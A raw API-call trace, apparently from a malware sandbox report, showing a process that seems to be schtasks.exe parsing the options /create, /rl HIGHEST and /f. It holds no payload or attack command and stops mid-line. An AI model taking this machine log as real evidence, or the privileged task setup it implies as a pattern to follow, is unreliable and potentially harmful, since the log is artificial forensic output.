SetLastError (dwErrCode=0x490) [0160.790] lstrlenW (lpString="f") returned 1 [0160.790] lstrlenW (lpString="f") returned 1 [0160.790] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.790] lstrlenW (lpString="rl") returned 2 [0160.790] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.790] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.790] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.790] lstrlenW (lpString="|f|") returned 3 [0160.790] lstrlenW (lpString="|rl|") returned 4 [0160.790] SetLastError (dwErrCode=0x490) [0160.790] lstrlenW (lpString="v1") returned 2 [0160.790] lstrlenW (lpString="v1") returned 2 [0160.790] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.790] lstrlenW (lpString="rl") returned 2 [0160.790] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.790] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|v1|") returned 4 [0160.790] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.790] lstrlenW (lpString="|v1|") returned 4 [0160.790] lstrlenW (lpString="|rl|") returned 4 [0160.790] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0160.790] SetLastError (dwErrCode=0x490) [0160.790] lstrlenW (lpString="xml") returned 3 [0160.790] lstrlenW (lpString="xml") returned 3 [0160.790] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.791] lstrlenW (lpString="rl") returned 2 [0160.791] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.791] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|xml|") returned 5 [0160.791] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.791] lstrlenW (lpString="|xml|") returned 5 [0160.791] lstrlenW (lpString="|rl|") returned 4 [0160.791] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0160.791] SetLastError (dwErrCode=0x490) [0160.791] lstrlenW (lpString="ec") returned 2 [0160.791] lstrlenW (lpString="ec") returned 2 [0160.791] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.791] lstrlenW (lpString="rl") returned 2 [0160.791] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.791] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ec|") returned 4 [0160.791] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.791] lstrlenW (lpString="|ec|") returned 4 [0160.791] lstrlenW (lpString="|rl|") returned 4 [0160.791] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0160.791] SetLastError (dwErrCode=0x490) [0160.791] lstrlenW (lpString="rl") returned 2 [0160.791] lstrlenW (lpString="rl") returned 2 [0160.791] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.791] lstrlenW (lpString="rl") returned 2 [0160.791] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.791] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.791] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rl|") returned 4 [0160.792] lstrlenW (lpString="|rl|") returned 4 [0160.792] lstrlenW (lpString="|rl|") returned 4 [0160.792] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0160.792] SetLastError (dwErrCode=0x0) [0160.792] SetLastError (dwErrCode=0x0) [0160.792] lstrlenW (lpString="HIGHEST") returned 7 [0160.792] lstrlenW (lpString="-/") returned 2 [0160.792] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0160.792] SetLastError (dwErrCode=0x490) [0160.792] SetLastError (dwErrCode=0x490) [0160.792] SetLastError (dwErrCode=0x0) [0160.792] lstrlenW (lpString="HIGHEST") returned 7 [0160.792] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0160.792] SetLastError (dwErrCode=0x490) [0160.792] SetLastError (dwErrCode=0x0) [0160.792] _memicmp (_Buf1=0x41d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.792] lstrlenW (lpString="HIGHEST") returned 7 [0160.792] lstrlenW (lpString="HIGHEST") returned 7 [0160.792] lstrlenW (lpString=" \x09") returned 2 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0160.792] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0160.792] GetLastError () returned 0x0 [0160.792] lstrlenW (lpString="HIGHEST") returned 7 [0160.793] lstrlenW (lpString="HIGHEST") returned 7 [0160.793] SetLastError (dwErrCode=0x0) [0160.793] SetLastError (dwErrCode=0x0) [0160.793] lstrlenW (lpString="/f") returned 2 [0160.793] lstrlenW (lpString="-/") returned 2 [0160.793] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.793] lstrlenW (lpString="create") returned 6 [0160.793] lstrlenW (lpString="create") returned 6 [0160.793] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.793] lstrlenW (lpString="f") returned 1 [0160.793] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.793] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|create|") returned 8 [0160.793] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.793] lstrlenW (lpString="|create|") returned 8 [0160.793] lstrlenW (lpString="|f|") returned 3 [0160.793] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0160.793] SetLastError (dwErrCode=0x490) [0160.793] lstrlenW (lpString="?") returned 1 [0160.793] lstrlenW (lpString="?") returned 1 [0160.793] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.793] lstrlenW (lpString="f") returned 1 [0160.793] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.793] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|?|") returned 3 [0160.793] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.793] lstrlenW (lpString="|?|") returned 3 [0160.793] lstrlenW (lpString="|f|") returned 3 [0160.794] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0160.794] SetLastError (dwErrCode=0x490) [0160.794] lstrlenW (lpString="s") returned 1 [0160.794] lstrlenW (lpString="s") returned 1 [0160.794] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.794] lstrlenW (lpString="f") returned 1 [0160.794] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.794] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|s|") returned 3 [0160.794] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.794] lstrlenW (lpString="|s|") returned 3 [0160.794] lstrlenW (lpString="|f|") returned 3 [0160.794] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0160.794] SetLastError (dwErrCode=0x490) [0160.794] lstrlenW (lpString="u") returned 1 [0160.794] lstrlenW (lpString="u") returned 1 [0160.794] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.794] lstrlenW (lpString="f") returned 1 [0160.794] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.794] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|u|") returned 3 [0160.794] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.794] lstrlenW (lpString="|u|") returned 3 [0160.794] lstrlenW (lpString="|f|") returned 3 [0160.794] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0160.794] SetLastError (dwErrCode=0x490) [0160.794] lstrlenW (lpString="p") returned 1 [0160.794] lstrlenW (lpString="p") returned 1 [0160.794] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.795] lstrlenW (lpString="f") returned 1 [0160.795] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.795] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|p|") returned 3 [0160.795] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.795] lstrlenW (lpString="|p|") returned 3 [0160.795] lstrlenW (lpString="|f|") returned 3 [0160.795] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0160.795] SetLastError (dwErrCode=0x490) [0160.795] lstrlenW (lpString="ru") returned 2 [0160.795] lstrlenW (lpString="ru") returned 2 [0160.795] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.795] lstrlenW (lpString="f") returned 1 [0160.795] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.795] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ru|") returned 4 [0160.795] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.795] lstrlenW (lpString="|ru|") returned 4 [0160.795] lstrlenW (lpString="|f|") returned 3 [0160.795] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0160.795] SetLastError (dwErrCode=0x490) [0160.795] lstrlenW (lpString="rp") returned 2 [0160.795] lstrlenW (lpString="rp") returned 2 [0160.795] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.795] lstrlenW (lpString="f") returned 1 [0160.795] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.795] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|rp|") returned 4 [0160.795] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.795] lstrlenW (lpString="|rp|") returned 4 [0160.796] lstrlenW (lpString="|f|") returned 3 [0160.796] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0160.796] SetLastError (dwErrCode=0x490) [0160.796] lstrlenW (lpString="sc") returned 2 [0160.796] lstrlenW (lpString="sc") returned 2 [0160.796] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.796] lstrlenW (lpString="f") returned 1 [0160.796] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.796] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sc|") returned 4 [0160.796] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.796] lstrlenW (lpString="|sc|") returned 4 [0160.796] lstrlenW (lpString="|f|") returned 3 [0160.796] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0160.796] SetLastError (dwErrCode=0x490) [0160.796] lstrlenW (lpString="mo") returned 2 [0160.796] lstrlenW (lpString="mo") returned 2 [0160.796] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.796] lstrlenW (lpString="f") returned 1 [0160.796] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.796] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|mo|") returned 4 [0160.796] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.796] lstrlenW (lpString="|mo|") returned 4 [0160.796] lstrlenW (lpString="|f|") returned 3 [0160.796] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0160.796] SetLastError (dwErrCode=0x490) [0160.796] lstrlenW (lpString="d") returned 1 [0160.796] lstrlenW (lpString="d") returned 1 [0160.797] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.797] lstrlenW (lpString="f") returned 1 [0160.797] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.797] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|d|") returned 3 [0160.797] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.797] lstrlenW (lpString="|d|") returned 3 [0160.797] lstrlenW (lpString="|f|") returned 3 [0160.797] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0160.797] SetLastError (dwErrCode=0x490) [0160.797] lstrlenW (lpString="m") returned 1 [0160.797] lstrlenW (lpString="m") returned 1 [0160.797] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.797] lstrlenW (lpString="f") returned 1 [0160.797] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.797] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|m|") returned 3 [0160.797] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.797] lstrlenW (lpString="|m|") returned 3 [0160.797] lstrlenW (lpString="|f|") returned 3 [0160.797] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0160.797] SetLastError (dwErrCode=0x490) [0160.797] lstrlenW (lpString="i") returned 1 [0160.797] lstrlenW (lpString="i") returned 1 [0160.798] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.798] lstrlenW (lpString="f") returned 1 [0160.798] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.798] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|i|") returned 3 [0160.798] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.798] lstrlenW (lpString="|i|") returned 3 [0160.798] lstrlenW (lpString="|f|") returned 3 [0160.798] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0160.798] SetLastError (dwErrCode=0x490) [0160.798] lstrlenW (lpString="tn") returned 2 [0160.798] lstrlenW (lpString="tn") returned 2 [0160.798] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.798] lstrlenW (lpString="f") returned 1 [0160.798] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.798] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tn|") returned 4 [0160.798] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.798] lstrlenW (lpString="|tn|") returned 4 [0160.798] lstrlenW (lpString="|f|") returned 3 [0160.798] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0160.798] SetLastError (dwErrCode=0x490) [0160.798] lstrlenW (lpString="tr") returned 2 [0160.798] lstrlenW (lpString="tr") returned 2 [0160.798] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.798] lstrlenW (lpString="f") returned 1 [0160.798] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.798] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|tr|") returned 4 [0160.799] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.799] lstrlenW (lpString="|tr|") returned 4 [0160.799] lstrlenW (lpString="|f|") returned 3 [0160.799] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0160.799] SetLastError (dwErrCode=0x490) [0160.799] lstrlenW (lpString="st") returned 2 [0160.799] lstrlenW (lpString="st") returned 2 [0160.799] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.799] lstrlenW (lpString="f") returned 1 [0160.799] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.799] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|st|") returned 4 [0160.799] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.799] lstrlenW (lpString="|st|") returned 4 [0160.799] lstrlenW (lpString="|f|") returned 3 [0160.799] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0160.799] SetLastError (dwErrCode=0x490) [0160.799] lstrlenW (lpString="sd") returned 2 [0160.799] lstrlenW (lpString="sd") returned 2 [0160.799] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.799] lstrlenW (lpString="f") returned 1 [0160.799] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.799] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|sd|") returned 4 [0160.799] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.799] lstrlenW (lpString="|sd|") returned 4 [0160.799] lstrlenW (lpString="|f|") returned 3 [0160.799] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0160.800] SetLastError (dwErrCode=0x490) [0160.800] lstrlenW (lpString="ed") returned 2 [0160.800] lstrlenW (lpString="ed") returned 2 [0160.800] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.800] lstrlenW (lpString="f") returned 1 [0160.800] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.800] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ed|") returned 4 [0160.800] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.800] lstrlenW (lpString="|ed|") returned 4 [0160.800] lstrlenW (lpString="|f|") returned 3 [0160.800] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0160.800] SetLastError (dwErrCode=0x490) [0160.800] lstrlenW (lpString="it") returned 2 [0160.800] lstrlenW (lpString="it") returned 2 [0160.800] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.800] lstrlenW (lpString="f") returned 1 [0160.800] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.800] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|it|") returned 4 [0160.800] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.800] lstrlenW (lpString="|it|") returned 4 [0160.800] lstrlenW (lpString="|f|") returned 3 [0160.800] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0160.800] SetLastError (dwErrCode=0x490) [0160.800] lstrlenW (lpString="et") returned 2 [0160.800] lstrlenW (lpString="et") returned 2 [0160.800] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.800] lstrlenW (lpString="f") returned 1 [0160.801] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.801] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|et|") returned 4 [0160.801] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.801] lstrlenW (lpString="|et|") returned 4 [0160.801] lstrlenW (lpString="|f|") returned 3 [0160.801] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0160.801] SetLastError (dwErrCode=0x490) [0160.801] lstrlenW (lpString="k") returned 1 [0160.801] lstrlenW (lpString="k") returned 1 [0160.801] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.801] lstrlenW (lpString="f") returned 1 [0160.801] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.801] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|k|") returned 3 [0160.801] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.801] lstrlenW (lpString="|k|") returned 3 [0160.801] lstrlenW (lpString="|f|") returned 3 [0160.801] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0160.801] SetLastError (dwErrCode=0x490) [0160.801] lstrlenW (lpString="du") returned 2 [0160.801] lstrlenW (lpString="du") returned 2 [0160.801] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.801] lstrlenW (lpString="f") returned 1 [0160.801] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.801] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|du|") returned 4 [0160.801] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.801] lstrlenW (lpString="|du|") returned 4 [0160.801] lstrlenW (lpString="|f|") returned 3 [0160.801] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0160.802] SetLastError (dwErrCode=0x490) [0160.802] lstrlenW (lpString="ri") returned 2 [0160.802] lstrlenW (lpString="ri") returned 2 [0160.802] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.802] lstrlenW (lpString="f") returned 1 [0160.802] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.802] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|ri|") returned 4 [0160.802] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.802] lstrlenW (lpString="|ri|") returned 4 [0160.802] lstrlenW (lpString="|f|") returned 3 [0160.802] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0160.802] SetLastError (dwErrCode=0x490) [0160.802] lstrlenW (lpString="z") returned 1 [0160.802] lstrlenW (lpString="z") returned 1 [0160.802] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.802] lstrlenW (lpString="f") returned 1 [0160.802] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.802] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|z|") returned 3 [0160.802] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.802] lstrlenW (lpString="|z|") returned 3 [0160.802] lstrlenW (lpString="|f|") returned 3 [0160.802] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0160.802] SetLastError (dwErrCode=0x490) [0160.802] lstrlenW (lpString="f") returned 1 [0160.802] lstrlenW (lpString="f") returned 1 [0160.802] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.802] lstrlenW (lpString="f") returned 1 [0160.803] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.803] _vsnwprintf (in: _Buffer=0x41c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.803] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c548 | out: _Buffer="|f|") returned 3 [0160.803] lstrlenW (lpString="|f|") returned 3 [0160.803] lstrlenW (lpString="|f|") returned 3 [0160.803] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0160.803] SetLastError (dwErrCode=0x0) [0160.803] SetLastError (dwErrCode=0x0) [0160.803] GetProcessHeap () returned 0x400000 [0160.803] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cd50 [0160.803] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.803] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0160.803] lstrlenW (lpString="LIMITED") returned 7 [0160.803] GetProcessHeap () returned 0x400000 [0160.803] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x10) returned 0x41d580 [0160.803] GetThreadLocale () returned 0x409 [0160.803] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0160.803] GetProcessHeap () returned 0x400000 [0160.803] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cd20 [0160.803] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.803] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0160.803] lstrlenW (lpString="HIGHEST") returned 7 [0160.803] GetProcessHeap () returned 0x400000 [0160.803] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x10) returned 0x41d5a0 [0160.803] GetThreadLocale () returned 0x409 [0160.803] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0160.804] GetProcessHeap () returned 0x400000 [0160.804] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41ccf0 [0160.804] _memicmp (_Buf1=0x41ba90, 